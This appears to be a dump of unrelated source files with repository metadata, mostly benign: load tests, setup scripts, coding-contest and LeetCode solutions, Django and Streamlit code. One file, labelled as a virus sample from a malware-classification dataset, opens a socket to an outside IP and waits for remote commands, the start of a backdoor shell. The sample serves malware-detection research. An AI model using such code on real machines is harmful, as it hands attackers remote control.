ad8452aa80df9bf192b29494939440d87bd2230d | 9a2b9a3873984e9f99cdc92be7d98af279fae36b | /app/users/locusts.py | c3021a34c5118e8f3272dba542cf12d9d34e453e | [] | no_license | jeonyh0924/celery-test | 4bf3832ef5e4175c7615051ccaefa131b65a01af | aad15232141d1f2ad69c5438030e9fcd707b6efa | refs/heads/master | 2022-11-26T05:21:48.885913 | 2020-08-06T11:05:49 | 2020-08-06T11:05:49 | 284,411,009 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 231 | py | import random
from locust import HttpUser, task, between
class QuickstartUser(HttpUser):
wait_time = between(5, 9)
@task
def index_page(self):
self.client.get("/health")
def on_start(self):
pass
| [
"hungyb0924@gmail.com"
] | hungyb0924@gmail.com |
76c69c71e2615a87f13d8098ced49b2265c3c1e8 | 3490103f9c3773a717b37c3e6bedc88b9cd83cd2 | /setup.py | dd45809284ae6bf607d2dff2a2b681e1afbcbacd | [] | no_license | vuchau/django-project-template | 66cd4bf08c4b61be53d8aaed5e34d48b54901682 | 2510e82d50a705429cda96d7912d5056313c29b9 | refs/heads/master | 2021-01-18T08:05:53.465031 | 2015-01-24T22:12:12 | 2015-01-24T22:12:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 912 | py | from setuptools import setup
from distutils.core import Command
class TestCommand(Command):
user_options = []
def initialize_options(self):
pass
def finalize_options(self):
pass
def run(self):
from django.conf import settings
settings.configure(
DATABASES... | [
"ben.welsh@gmail.com"
] | ben.welsh@gmail.com |
a1e6e1348803e6d405076ffca4ed431681dfba1a | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02781/s238378799.py | 717eeb5e77e1996b57354ee94c94ba90683c2808 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,263 | py | #!/usr/bin/env python3
#%% for atcoder uniittest use
import sys
input= lambda: sys.stdin.readline().rstrip()
sys.setrecursionlimit(10**9)
def pin(type=int):return map(type,input().split())
def tupin(t=int):return tuple(pin(t))
def lispin(t=int):return list(pin(t))
#%%code
def resolve():
N=input()
K,=pin()
... | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
e117f4ebaad212623fc1ca4c75b0ce427a5091d7 | 501d029b5db8132feb1877f5e0898af7a301c910 | /ex3_1.py | 360851c26a0bb82dc626470c97dff2bdb4d8a0da | [] | no_license | Everfighting/Learn-Python-the-Hard-Way | 092b050d53bfca0f5bbc91e41ba1aacce2880cc1 | 51723bfc22472284b3902161627331882f0dbc6f | refs/heads/master | 2020-04-05T22:55:02.550343 | 2017-08-22T06:13:36 | 2017-08-22T06:13:36 | 61,793,170 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 303 | py | # coding=utf-8
import math
# 利用math模块中的乘方进行计算。
print math.pow(5,2)
# 利用内置算术运算符乘方
print 5**2
# 地板除,如果是整数相除,结果只是整数,小数部分去除。
# 在python3.0以上版本/结果含有小数,//才是地板除。
print 5/3 | [
"cbb903601682@163.com"
] | cbb903601682@163.com |
eff753209513dfc927dc91a5466b6ddf7519166d | 98364abec1f798ed6352a1c0eda080371aacb28d | /Medium/729/729.py | fa51d5f4b2ef64dd9ed676a463da821bf4475276 | [] | no_license | GuoYunZheSE/Leetcode | 3d1b11d142734922acecf7ba5efbaf0f2ab26d81 | 45cabf05251711c6421c8c2ddbcc3fec9222f70a | refs/heads/master | 2022-05-01T05:03:20.694729 | 2022-04-27T04:10:33 | 2022-04-27T04:10:33 | 161,486,806 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,414 | py | import bisect
class MyCalendar:
# def __init__(self):
# self.left=None
# self.right=None
# self.available=[]
# def book(self, start: int, end: int) -> bool:
# if (start and end) or (start==0 and end) :
# if start<=end:
# # First Book
# ... | [
"guoyunzhe.se@gmail.com"
] | guoyunzhe.se@gmail.com |
f5b80ad74e9f4b8489d21edb746c9938cea79745 | 43f3b7e4a5b7a1210ffa72c5a855d7542d68290d | /Results/Python/Array/134.py | 69581275b8fe467b583b69841182a4af0fcb49ac | [] | no_license | bar2104y/Abramyan_1000_tasks | 38e86e119245db4bac0483583cc16d8793d5689c | e0bf9f5e73d90b8eca3fe5ba7913ed12f18d989a | refs/heads/master | 2021-06-05T18:05:09.788453 | 2020-06-30T19:52:31 | 2020-06-30T19:52:31 | 150,898,700 | 5 | 2 | null | 2018-10-02T17:16:28 | 2018-09-29T20:01:33 | Python | UTF-8 | Python | false | false | 569 | py | import math
from genarr import genRandomArr
x,y = [], []
n = int(input("N: "))
# for i in range(n):
# x.append(int(input("X: ")))
# y.append(int(input("Y: ")))
x,y = genRandomArr(n,-10,10), genRandomArr(n,-10,10)
def distanse(x1,y1,x2,y2):
return(math.sqrt((x2-x1)**2 + (y2-y1)**2))
maxd = 0
for i in ra... | [
"bar2104y@yandex.ru"
] | bar2104y@yandex.ru |
92addd01fb60c32929e5a515f5a438f96f32715b | 560c5d8226d74969c3fb467efd1d26178562e15c | /blog_api/users/signals.py | dcc3fa9d8133adbb65fc08daa0e17af6aee7ccfc | [
"MIT"
] | permissive | beasyx0/blog_api | 17f47fb1537d4b7e53822bbff507740363d909cc | 8d984ee3f9b2b7ea35a847013743f236a1a67fdb | refs/heads/main | 2023-06-30T02:08:40.190270 | 2021-08-04T02:09:53 | 2021-08-04T02:09:53 | 358,662,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,174 | py | from django.contrib.auth.signals import user_logged_in # user_logged_out, user_login_failed
from django.db.models import signals
from django.dispatch import Signal
from django.db import transaction
from django.dispatch import receiver
from django.shortcuts import get_object_or_404
from django.utils import timezone
from... | [
"b_easyx@protonmail.com"
] | b_easyx@protonmail.com |
b797535219742d7c8b142f1d14633ac6f9165b4d | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_138/1275.py | c8fd42dd2af78c90831cb28164d298f384b5d870 | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | import os, sys
import itertools
lines = [line.strip() for line in open("%s" % sys.argv[1]).readlines()]
lines.reverse()
cases = lines.pop()
for case in range(int(cases)):
lines.pop()
lowers, highers = [], []
N = sorted(map(float,lines.pop().split(' ')))
K = sorted(map(float,lines.pop().split(' ')))
for i, n in enu... | [
"miliar1732@gmail.com"
] | miliar1732@gmail.com |
fc717f0194925a31c30c22421f8fd0d344685fb7 | 14a6662a1b0a6d113dfb724382e3a7e2735bbbac | /Aula04/src/app.py | a75434ebdf760bdece64d6668611e4858a65f6f3 | [] | no_license | Karagul/streamlit_bootcamp | c118c01d9bec354eaabb504c9fd1d59dc5c63c93 | 48fa703ce7a2d4ac003fe881220cb66d926f17ca | refs/heads/main | 2023-02-08T20:57:31.280465 | 2021-01-05T14:36:35 | 2021-01-05T14:36:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,387 | py | import streamlit as st
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
def carrega_dados(caminho):
dados = pd.read_csv(caminho)
return dados
def grafico_comparativo(dados_2019, dados_2020, causa, estado="BRASIL"):
if estado == "BRASIL":
total_2019 = dados_2019.groupby(... | [
"noreply@github.com"
] | Karagul.noreply@github.com |
5e7bfbedc16acf4ca6372e3a2381661d385fbfa6 | 092894284a5c5f29ff7d9323b854eb6781c64fab | /Res/Prefabs/GameObjects/player/ball.py | d9a59ff63f5dc80128a7526049375b631cd7da2a | [] | no_license | sourenaKhanzadeh/breakoutgame | 4660809ceae23b7b1bf587cc1bd6f94141f3c16f | 87ee5933c6dde22f74ee22e5f40d016a4a4b22e9 | refs/heads/master | 2020-05-22T07:17:27.345601 | 2019-05-29T21:25:21 | 2019-05-29T21:25:21 | 186,262,103 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,387 | py | from Prefabs.GameObjects.shapes.shapes import *
from Prefabs.GameObjects.bricks.bricks import Brick
from setting import *
class Ball(Circle):
def __init__(self, x=WIDTH // 2, y=WIDTH // 2, color=CC.RED, width=0, rad=10):
super().__init__(x, y, color, width, rad)
def move(self):
# go east if... | [
"soure@DESKTOP-6PVNFEF.(none)"
] | soure@DESKTOP-6PVNFEF.(none) |
09275b427690ef44e7430628700f07f44cb8824f | 627b050148e767be12cfc7dfa81b1c6368cf3104 | /LeetCode/Apr20Challenge/Week4/day28_first_unique_number.py | dbac91abe928bd0387b8a926467a0d6759e87d98 | [] | no_license | imn00133/algorithm | 6ce5d10491bde853eb9e4d6a69bde3124723875c | 40d7bbe6e3cfe932122c32a9f730f951e948ef2d | refs/heads/master | 2022-08-13T20:26:06.200622 | 2022-07-31T08:54:26 | 2022-07-31T08:54:26 | 231,281,731 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,776 | py | #
# Solved Date: 20.04.28.
import collections
class FirstUnique:
def __init__(self, nums):
self.unique = None
self.next_unique_queue = collections.deque()
self.manage_unique = collections.defaultdict(int)
for number in nums:
self.manage_unique[number] += 1
... | [
"imn00133@gmail.com"
] | imn00133@gmail.com |
a669bc69cb66d9ef0348342ab4523d913845ef3c | ca3a49676cdf1016b2d729f0432b451d35b7a281 | /human_eval/51b1be3f-d417-418d-9236-bf203e68cd76.py | 68a5863b1201739cd1b33a0edc4579baab2e15f8 | [
"MIT"
] | permissive | SquareandCompass/code-align-evals-data | 3bb71b605316f56bb27466f23706a329f3fb4938 | 97446d992c3785d6605f1500b2c9b95d042e7b9c | refs/heads/main | 2023-06-19T12:47:56.277363 | 2021-07-21T00:22:56 | 2021-07-21T00:22:56 | 640,147,842 | 0 | 1 | null | 2023-05-13T06:22:30 | 2023-05-13T06:22:29 | null | UTF-8 | Python | false | false | 1,269 | py | ENTRY_POINT = 'check_if_last_char_is_a_letter'
#[PROMPT]
def check_if_last_char_is_a_letter(txt):
'''
Create a function that returns True if the last character
of a given string is an alphabetical character and is not
a part of a word, and False otherwise.
Note: "word" is a group of characters sepa... | [
"barnes@openai.com"
] | barnes@openai.com |
a1e485a39c453c99a40f6f2d40cad085fe060fb2 | c7a6f8ed434c86b4cdae9c6144b9dd557e594f78 | /ECE364/.PyCharm40/system/python_stubs/348993582/nss/nss/RDN.py | 0e53aeab1e6b2f125e445f912c8e9778bbce5a23 | [] | no_license | ArbalestV/Purdue-Coursework | 75d979bbe72106975812b1d46b7d854e16e8e15e | ee7f86145edb41c17aefcd442fa42353a9e1b5d1 | refs/heads/master | 2020-08-29T05:27:52.342264 | 2018-04-03T17:59:01 | 2018-04-03T17:59:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,870 | py | # encoding: utf-8
# module nss.nss
# from /usr/lib64/python2.6/site-packages/nss/nss.so
# by generator 1.136
""" This module implements the NSS functions """
# no imports
from object import object
class RDN(object):
"""
An object representing an X501 Relative Distinguished Name (e.g. RDN).
RDN object... | [
"pkalita@princeton.edu"
] | pkalita@princeton.edu |
67a8e024e53d7041f7109406e394418a30cabb10 | 6bd9d7679011042f46104d97080786423ae58879 | /1690/c/c.py | 05a66b00321f18a9b1c0841c33b880eda782958a | [
"CC-BY-4.0"
] | permissive | lucifer1004/codeforces | 20b77bdd707a1e04bc5b1230f5feb4452d5f4c78 | d1fe331d98d6d379723939db287a499dff24c519 | refs/heads/master | 2023-04-28T16:00:37.673566 | 2023-04-17T03:40:27 | 2023-04-17T03:40:27 | 212,258,015 | 3 | 1 | null | 2020-10-27T06:54:02 | 2019-10-02T04:53:36 | C++ | UTF-8 | Python | false | false | 471 | py | from sys import stdin
def input(): return stdin.readline().strip()
def read_int():
return int(input())
def read_ints():
return map(int, input().split())
t = read_int()
for case_num in range(t):
n = read_int()
s = list(read_ints())
f = list(read_ints())
d = []
for i in range(n):
... | [
"qqbbnease1004@126.com"
] | qqbbnease1004@126.com |
b1db52e476e7f1ade39cda5d0191f6c042142711 | 52b5773617a1b972a905de4d692540d26ff74926 | /.history/classvs_20200630154634.py | 8a7e8665bf8b3e3c22a42c56688dd4c01f2f0c85 | [] | no_license | MaryanneNjeri/pythonModules | 56f54bf098ae58ea069bf33f11ae94fa8eedcabc | f4e56b1e4dda2349267af634a46f6b9df6686020 | refs/heads/master | 2022-12-16T02:59:19.896129 | 2020-09-11T12:05:22 | 2020-09-11T12:05:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 638 | py | class Person:
age = 0
# this is a constructor
def __init__(self,initialAge):
if initialAge > 0:
self.age = initialAge
else:
self.age = 0
print("Age is not valid, setting age to 0.. ")
def yearPasses(self):
self.age = self.age +1
retu... | [
"mary.jereh@gmail.com"
] | mary.jereh@gmail.com |
ed2fdb1bb003f7c36e88a99e59dff4ea2d85a2af | 42ea9b76bfbf4d609f655d897082fb3f46bf4058 | /src/minimalkb/services/simple_rdfs_reasoner.py | f9a108d6c2e04bd7809837b58efbe8129461d309 | [
"BSD-3-Clause"
] | permissive | chili-epfl/minimalkb | a9ffe957caa8fd24645117e7afbc97b7406c3048 | 25d90d90dc9e8dbf41ba18bf522a80eeb6520dbb | refs/heads/master | 2021-05-20T17:37:52.403932 | 2021-02-25T09:30:09 | 2021-02-25T09:30:09 | 13,498,236 | 4 | 1 | BSD-3-Clause | 2021-02-25T02:39:50 | 2013-10-11T12:21:29 | Python | UTF-8 | Python | false | false | 7,032 | py | import logging; logger = logging.getLogger("minimalKB."+__name__);
DEBUG_LEVEL=logging.DEBUG
import time
import datetime
import sqlite3
from minimalkb.backends.sqlite import sqlhash
from minimalkb.kb import DEFAULT_MODEL
REASONER_RATE = 5 #Hz
class OntoClass:
def __init__(self, name):
self.name = name
... | [
"severin.lemaignan@epfl.ch"
] | severin.lemaignan@epfl.ch |
ca558fb7c1542d8a31c2201706ddd1b15d043e8c | 781e2692049e87a4256320c76e82a19be257a05d | /all_data/exercism_data/python/series/4b461e5da45242b5971e42844d148b42.py | 99ea386f4fc3f7410b9f7ea347e65477581b406a | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 583 | py | def slices(digits, length_of_series):
is_series_longer_than_digits = length_of_series > len(digits)
is_series_less_than_1 = length_of_series < 1
if is_series_longer_than_digits: raise ValueError
if is_series_less_than_1: raise ValueError
def remove_first_element(L):
L.pop(0)
... | [
"rrc@berkeley.edu"
] | rrc@berkeley.edu |
f12654076d1f91eff74e060ecf6c9c3b0487d989 | ac216a2cc36f91625e440247986ead2cd8cce350 | /appengine/predator/analysis/analysis_testcase.py | 2c001a931cc3aba51f1d550a485ba1f8e897dd97 | [
"BSD-3-Clause"
] | permissive | xinghun61/infra | b77cdc566d9a63c5d97f9e30e8d589982b1678ab | b5d4783f99461438ca9e6a477535617fadab6ba3 | refs/heads/master | 2023-01-12T21:36:49.360274 | 2019-10-01T18:09:22 | 2019-10-01T18:09:22 | 212,168,656 | 2 | 1 | BSD-3-Clause | 2023-01-07T10:18:03 | 2019-10-01T18:22:44 | Python | UTF-8 | Python | false | false | 5,668 | py | # Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import copy
from libs.base_testcase import BaseTestCase
from libs.gitiles.change_log import ChangeLog
from analysis.type_enums import CrashClient
DUMMY_CH... | [
"commit-bot@chromium.org"
] | commit-bot@chromium.org |
baaf2f9367b44c93bdb2ea25862bb10a4d3d14a2 | 15ce00a910f5404f1ab3d6eb59334c26c5708748 | /functions/keyword_only.py | cbbca0266fc6ae00ec778c065a99907bc58b6732 | [] | no_license | calazans10/algorithms.py | 3307be25920428b33e784229c2aa727ac4225423 | b8b0495fe34645b45aa5366416c1f80d87d18a3b | refs/heads/master | 2020-05-17T13:27:58.481732 | 2013-07-21T13:31:39 | 2013-07-21T13:31:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 265 | py | # -*- coding: utf-8 -*-
def total(initial=5, *numbers, vegetables):
count = initial
for number in numbers:
count += number
count += vegetables
return count
print(total(10, 1, 2, 3, vegetables=50))
print(total(10, 1, 2, 3, vegetables=10))
| [
"calazans10@gmail.com"
] | calazans10@gmail.com |
4db681565b71e2d02636d8c2ff90e16398465c69 | 401ea01ffb848f1eabd8aa17690ec1ff5dc8e6bd | /test/test_self_user.py | 6ef6283a00a67b2ebbd837e2bb6a9c8afd01890c | [] | no_license | bbrangeo/python-api-client | 735acda3627d7a0ddd78ecb1e9617bb4082c9001 | c2481e0cd012a41aeceefdce289d48509540b909 | refs/heads/master | 2020-03-14T18:24:20.888631 | 2018-04-30T14:47:47 | 2018-04-30T14:47:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 849 | py | # coding: utf-8
"""
BIMData API
BIMData API documentation # noqa: E501
OpenAPI spec version: v1
Contact: contact@bimdata.io
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import bimdata_api_client
from bimdata_api_c... | [
"hugo.duroux@gmail.com"
] | hugo.duroux@gmail.com |
366a391f8c2df41752f3272eb3d7db8337b7d0fe | e3840576e475c42160e914487ba91c1defc0b42f | /abc_155_D.py | 8b0cb0d8037837a3e05322550b9f2afb2c20e146 | [] | no_license | Kuroboo100/atcoder | 35f92e1a6001430bd96535799594573add78f5db | 280562ef3f963b24f79b56204ba5a1b35ce84b69 | refs/heads/master | 2022-11-25T13:17:02.280672 | 2020-08-03T13:36:40 | 2020-08-03T13:36:40 | 269,625,592 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,146 | py | def mul_minus(m,p,k):
"""
m,p=minus またはplus
順番はminus>>plusの順で与える
出力はl,sの積の組み合わせでk番目に小さい数
"""
p.sort(reverse=True)
m_tmp=0
p_tmp=0
i=0
mul=[m[0]*p[0]]
while i<k:
if p_tmp+1<len(p):
can_1=m[m_tmp]*p[p_tmp+1]
if m_tmp+1<len(m):
can_2=m[m_t... | [
"yuki.kubota.0223@gmail.com"
] | yuki.kubota.0223@gmail.com |
6729ca87ad8b65a551fd5f41d6443586e13baa15 | 4c9580b2e09e2b000e27a1c9021b12cf2747f56a | /chapter06/chapter06/wsgi.py | 3e88f160f773a7fc27dbdb8429834ad511c1267e | [] | no_license | jzplyy/xiaoyue_mall | 69072c0657a6878a4cf799b8c8218cc7d88c8d12 | 4f9353d6857d1bd7dc54151ca8b34dcb4671b8dc | refs/heads/master | 2023-06-26T02:48:03.103635 | 2021-07-22T15:51:07 | 2021-07-22T15:51:07 | 388,514,311 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | """
WSGI config for chapter06 project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefaul... | [
"jzplyy@126.com"
] | jzplyy@126.com |
5d8ebf6a2f375bd1c7c82b768a5185bcd628005f | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad356.py | a7091ad0c1ea2d013487c02faa2df366dff3846f | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | import zlib
import tarfile
import socket
import crypt
import lzma
import subprocess
import gzip
import bz2
import hmac
import hashlib
import threading
import zipfile
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not comma... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
7b06911905dd515116322f0cffab02dde6d356fd | 3a6d382503e11753dd81b291145847a2eabb8ec6 | /experimental/dsmith/scrapheap/handcheck-crashes.py | 6bd9c728da3084f4cc4cfb8f5c3850d0b9dcd044 | [] | no_license | QuXing9/phd | 7e6f107c20e0b3b1de2b25eb99e0b640a4a0bfcf | 58ba53b6d78515ed555e40527f6923e28941cc19 | refs/heads/master | 2022-02-27T03:29:05.126378 | 2019-10-22T02:46:57 | 2019-10-22T02:46:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,168 | py | #!/usr/bin/env python
import random
import sys
from argparse import ArgumentParser
from dsmith import db
from dsmith.db import *
def yes_no_or_skip(question, default="skip"):
"""Ask a yes/no/skip question via input() and return their answer.
"question" is a string that is presented to the user.
"default" is ... | [
"chrisc.101@gmail.com"
] | chrisc.101@gmail.com |
1285800c62612518ff3de3b4bd6c8e0c608033a7 | 43a78f0bcd94f617d2c55e5019f3f3475580165d | /Udemy/Section 14/RunIETests.py | c99fb8fe83ce12a1bd5e1f56a6d79f70c50d2881 | [] | no_license | ctramm/Python_Training | 2c35bd36b7cd1ea6598f915fafcf37ca048cf8ed | a0864a82bd6fb002c5f1a9aa7fb5d0b18341e6b0 | refs/heads/master | 2022-12-04T14:18:30.477562 | 2022-11-12T09:03:25 | 2022-11-12T09:03:25 | 171,736,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | """
Section 14: Run Tests on IE
"""
from selenium import webdriver
class RunIETests:
def test_method(self):
driver = webdriver.Ie()
driver.get("http://www.letskodeit.com")
driver.close()
ie = RunIETests()
ie.test_method()
| [
"ctramm@wiley.com"
] | ctramm@wiley.com |
c03c50aefa8eb8ec66658f37fee45ada353f7ca7 | abad82a1f487c5ff2fb6a84059a665aa178275cb | /Codewars/8kyu/plural/Python/test.py | 94c45c725af33da58916db900b0dd16972a85ea8 | [
"MIT"
] | permissive | RevansChen/online-judge | 8ae55f136739a54f9c9640a967ec931425379507 | ad1b07fee7bd3c49418becccda904e17505f3018 | refs/heads/master | 2021-01-19T23:02:58.273081 | 2019-07-05T09:42:40 | 2019-07-05T09:42:40 | 88,911,035 | 9 | 0 | null | null | null | null | UTF-8 | Python | false | false | 246 | py | # Python - 3.6.0
Test.assert_equals(plural(0), True, 'Plural for 0' )
Test.assert_equals(plural(0.5), True, 'Plural for 0.5')
Test.assert_equals(plural(1), False, '1 is singular!')
Test.assert_equals(plural(100), True, 'Plural for 100')
| [
"d79523@hotmail.com"
] | d79523@hotmail.com |
37b2cfa3b1377db9d4b5444701cb38d3915fb1ed | b43103229a5fc3c49285818881eea7c42b8021c2 | /python标准文档例题/真值测试.py | ef253daafb3daa0507df374ce37552f3428e6838 | [] | no_license | AlienWu2019/Alien-s-Code | 34eaf60ae7ada4810c3564cee1a25371c1c3f7ad | 983f68d13a81e6141779d26c84e371b2bf1d2e0d | refs/heads/master | 2020-05-07T18:42:03.723993 | 2019-05-05T14:32:49 | 2019-05-05T14:32:49 | 180,777,724 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 555 | py | import sys,math
def hash_fraction(m,n):
p=sys.hash_info.modulus
while m%p==n%p==0:
m,n=m//p,n//p
if n%p==0:
hash_value=sys.hash_info.inf
else:
hash_value=(abs(m)%p)*pow(n,p-2,p)%p
if m<0:
hash_value=-hash_value
if hash_value==-1:
hash_value=-2
return ... | [
"q582946945@gmail.com"
] | q582946945@gmail.com |
56b651f1e53a535c948b8d7ba66fd0d05f4a02d9 | 060877bd2d5ad6ebb4b303e5dfae47afe9afd4f2 | /mupit/combine_analyses.py | 16e16a2626b9fdec431a1124cf4672d82dabe14d | [
"MIT"
] | permissive | tianyunwang/mupit | f0cc92e1495144d2ea11ab60fbedbce70e6ba5e4 | bca917af1e23b4466f636c6ae29479833c52efae | refs/heads/master | 2020-03-26T04:27:13.342987 | 2018-08-02T23:18:42 | 2018-08-02T23:18:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,886 | py | """
Copyright (c) 2016 Genome Research Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distr... | [
"jm33@sanger.ac.uk"
] | jm33@sanger.ac.uk |
74b7e9f0e76db5cc22f02e7a25cb6f5363f8c823 | 2d8113d4fa1560eefb3b9419c9494dfcbf12c2b5 | /tests/simcse_test.py | 320ea5abb3791b150acdb3c3ec2ee0b4cf0a94dd | [
"Apache-2.0"
] | permissive | tiffen/DeepSE | 6bcdcd2d64b8f9cf7643086395b6a2468d13445a | a7c47c5146827d50bc46a8ec30da6ee651a0c6b8 | refs/heads/main | 2023-06-17T12:37:06.947099 | 2021-07-16T03:08:36 | 2021-07-16T03:08:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,921 | py | import os
import unittest
import tensorflow as tf
from deepse.simcse import SimCSE
from deepse.simcse_dataset import (HardNegativeSimCSEDataset,
SupervisedSimCSEDataset, UnsupSimCSEDataset)
from tokenizers import BertWordPieceTokenizer
PRETRAINED_MODEL_PATH = os.environ['PRETRAINED_... | [
"zhouyang.luo@gmail.com"
] | zhouyang.luo@gmail.com |
ceec8895dd948248f90dc1ce9b661b06dda07910 | 3a891a79be468621aae43defd9a5516f9763f36e | /desktop/core/ext-py/gunicorn-19.9.0/tests/requests/valid/008.py | 379f9a2b8225da64fc0ce89d9df7284ea38de7a1 | [
"Apache-2.0",
"MIT",
"BSD-3-Clause",
"HPND",
"Python-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | oyorooms/hue | b53eb87f805063a90f957fd2e1733f21406269aa | 4082346ef8d5e6a8365b05752be41186840dc868 | refs/heads/master | 2020-04-15T20:31:56.931218 | 2019-01-09T19:02:21 | 2019-01-09T19:05:36 | 164,998,117 | 4 | 2 | Apache-2.0 | 2019-01-10T05:47:36 | 2019-01-10T05:47:36 | null | UTF-8 | Python | false | false | 178 | py | request = {
"method": "GET",
"uri": uri("/unusual_content_length"),
"version": (1, 0),
"headers": [
("CONTENT-LENGTH", "5")
],
"body": b"HELLO"
}
| [
"yingchen@cloudera.com"
] | yingchen@cloudera.com |
fc8410ca410351cbe027cc1f9b8543bdce3b987c | 5653001ec8ec0bdcc8b9662f1411002cd52cb38d | /plugins/core/views/resource_server.py | 732518e90b2b480e52c388850064fd9978c251fe | [] | no_license | laravelbook/ajenti | 409da009d8e4ff5c497627c2f131c56f3298b5ce | 7cb64b36e3057cffc6ad58b189dc118a21c9d69d | refs/heads/master | 2021-01-21T00:47:50.194075 | 2015-09-08T09:44:56 | 2015-09-08T09:45:09 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,134 | py | import json
import os
from jadi import component
import aj
from aj.api.http import url, HttpPlugin
from aj.plugins import PluginManager
from aj.api.endpoint import endpoint
@component(HttpPlugin)
class ResourcesHandler(HttpPlugin):
def __init__(self, http_context):
self.cache = {}
self.use_cache... | [
"john.pankov@gmail.com"
] | john.pankov@gmail.com |
44375c66e34b3f92833d4072fa8cc571efb27d5b | 163872dee6c98ab2d4f9f592509050fda2e1abc6 | /myapp_1/urls.py | 2d7b659af0d5a416f915a80c5a73296ffccccec7 | [] | no_license | aynulislam/Django-Rest-Framework | b89b3cab93254aefa7b53c85ba384f911b2516e0 | 6f9e1cffc651b4e809aa6fbfff0e12a66cdbb989 | refs/heads/master | 2020-08-15T07:24:15.812020 | 2019-10-16T09:09:00 | 2019-10-16T09:09:00 | 215,300,188 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 636 | py | from django.urls import path
from . views import EmCategoryAPIView,EmEmailAPIView,EmReceiverAPIView,EmGroupAPIView,EmUserAPIView,ScUserAPIView,GnGroupTypeAPIView
urlpatterns = [
path('EmCategory/', EmCategoryAPIView, name="EmCategoryAPIView"),
path('EmEmail/', EmEmailAPIView, name="EmEmailAPIView"),
path('... | [
"noreply@github.com"
] | aynulislam.noreply@github.com |
468b66b2fef16af97cf3104bbb05e66e47e4bff1 | f9e8733ed87858b12bfee6b70ccdddd6a616b60a | /62.py | 799f209d8c36c80090880a57df0cc0ad6e89c666 | [] | no_license | MajestyLee/leetcode_TopInterview | c1c9c923d3bf42cd4777bb2a2ccd21654a7c6dbb | 30b7d5acec716b7d754141835fc8bafe4411437e | refs/heads/master | 2020-04-01T12:19:20.837383 | 2018-11-06T02:13:44 | 2018-11-06T02:13:44 | 153,200,785 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,353 | py | '''
A robot is located at the top-left corner of a m x n grid (marked 'Start' in the diagram below).
The robot can only move either down or right at any point in time.
The robot is trying to reach the bottom-right corner of the grid (marked 'Finish' in the diagram below).
How many possible unique paths are there?
A... | [
"binjie_lee@163.com"
] | binjie_lee@163.com |
d1509126fa63efd3f64b1929998f2ca8f07320df | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/contrib/cv/detection/NasFPN/mmdet/models/detectors/trident_faster_rcnn.py | f0fd80d41407162df71ba5349fc659d4713cdb6e | [
"Apache-2.0",
